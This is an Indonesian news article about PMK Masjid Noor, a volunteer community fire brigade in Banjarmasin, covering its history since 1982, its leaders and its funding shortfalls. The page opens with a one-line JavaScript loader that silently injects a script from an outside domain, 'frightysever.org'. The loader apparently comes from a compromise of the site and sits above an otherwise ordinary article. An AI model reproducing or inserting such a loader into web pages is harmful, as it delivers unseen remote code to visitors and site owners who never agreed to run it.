(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Berdiri Maret 1982, organisasi kemasyaraktan PMK Masjid Noor Banjarmasin telah bergerak di bidang relawan pengendalian bencana berbasis pemadam kebakaran swadaya masyarakat. Rentang waktu 37 tahun sudah ‘berperang’ melawan api, tak terhitung berapa aksi pemadaman kebakaran yang mereka kerjakan dengan ringan tangan.
Saking lamanya damkar swadaya masyarakat ini sendiri, menurut Habib Salim Muhammad Alkaff, Ketua BPK Masjid Noor jam terbang mereka sudah tinggi.
Di luar ketangkasan para penakluk api yang menantang maut ini tentu modal badan saja tidak cukup, di samping itu masih ada organisasi BPK sendiri yang harus ‘diberi makan’.
Tidak hidup di bawah naungan pemerintah, tentu BPK di Banjarmasin harus selalu memutar otak menghidupi kelompok mereka yang jumlahnya mungkin ribuan ada di kota berjuluk Seribu Sungai. Tidak seperti beberapa tahun terakhir, BPK di Banjarmasin sering mendapat bantuan dari pemerintah kota berupa dana senilai 1 hingga 2,5 juta per tahun, ternyata sejak tahun 2015, dana tersebut tak lagi mengalir kepada mereka.
BPK-BPK swadaya ini tentu sempat mengajukan permohonan kepada pemerintah kota. Namun hal ini terkendala akibat banyaknya persyaratan dokumen seperti surat dari Kemenkumham hingga akta notaris.
“Padahal buat akta notaris juga tidak murah kan,†ungkap Habib Salim ketika ditemui Kanalkalimantan.com di pos BPK Masjid Noor, jalan Pangeran Samudera, Banjarmasin.
Alhasil, damkar swadaya di Banjarmasin ini hanya bisa berharap urunan dana dari warga dan donatur. Pun penggalangan dana juga tidak boleh keluar dari kecamatan di mana posko BPK tersebut berada. Sehari biasanya terkumpul dana sekitar 100 ribuan. Itu pun habis jika terjadi satu kebakaran, bahkan kadang dana tersebut bisa kurang, jelas Habib Salim. Acap kali, kantong pribadi dari para anggota lah yang akhirnya dikumpulkan secara sukarela.
“Dulu pernah ada iuran anggota, tapi kasian juga memungut dari anggota. Terus pernah juga dulu ada yang aktif keliling mengumpul dana dari warga, bisa dapat sampai 700 sebulan. Tapi sekarang orang ini sudah berhenti,†beber pria berambut pendek ini.
Padahal untuk dana service ganti oli mobil BPK perlu mengeluarkan Rp300 ribu dan untuk bahan bakar kendaraan hingga Rp250 ribu. Belum jika harus memperbaiki mesin dan selang yang rusak. Tidak tanggung-tanggung, untuk selang 20 meter saja mencapai harga Rp 2 juta. Bahkan, untuk kualitas yang jauh lebih baik dapat mencapai angka Rp 6 juta. “Ada yang sejuta, tapi mudah rusak. Misalnya lama ga dipakai, terus tiba-tiba dipakai mendadak, bisa robek,†ceritanya.
Untuk mesin pompa air, kini pihak BPK telah beralih dari mesin besar ke alkon. Selain bentuknya yang kecil dan mudah dibawa. Alkon lebih mudah untuk digunakan di lokasi kebakaran yang minim air sebab mampu menyedot hingga air lumpur. Berbeda mesin besar yang tentu lebih berat, mesin tersebut akan rusak jika dipaksa untuk menyedot air. Dan bila mesin tersebut rusak untuk perbaikannya bisa mencapai angka Rp20 juta.
Berawal dari Remaja Masjid dan Diketuai para Habaib
Berawal dari Remaja Masjid Noor yang terletak di jalan Pangeran Samudera, Kelurahan Kertak Baru Ulu, Kecamatan Banjarmasin Tengah, Banjarmasin, Kalsel, PMK Masjid Noor pun lahir pada tahun 1982 silam. Organisasi ini berdir dipelopori oleh para Habaib dan Remaja Masjid Noor. Kala itu, ketua umum pertama adalah Habib Abdurahman Ali Alkaff atau akrab disapa pak Momon.
PMK Masjid Noor kini telah memasuki generasi ke-4 dan telah melakukan beberapa kali Pergantian ketua umum, diantaranya dari Habib Abdurahman Ali Alkaff ke H Ismaun, kemudian berlanjut ke Habib Ayie Abdurahman Hasan Alkaff. Kemudian diturunkan ke Habib Ali Khaidir Hasan Alkaff dan hingga saat ini beralih tangan ke Habib Salim Muhammad Alkaff.
PMK Masjid Noor ini pun telah mendapat pengakuan pemerintah sebagai organisasi resmi nasional dan terdaftar secara hukum melalu akta notaris No.01 Tanggal 08 Juli 2015 , Dengan SK KEMENKUMHAM RI No.AHU 0001976.AH.01.07.Th2015. (mario)
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
This website uses cookies.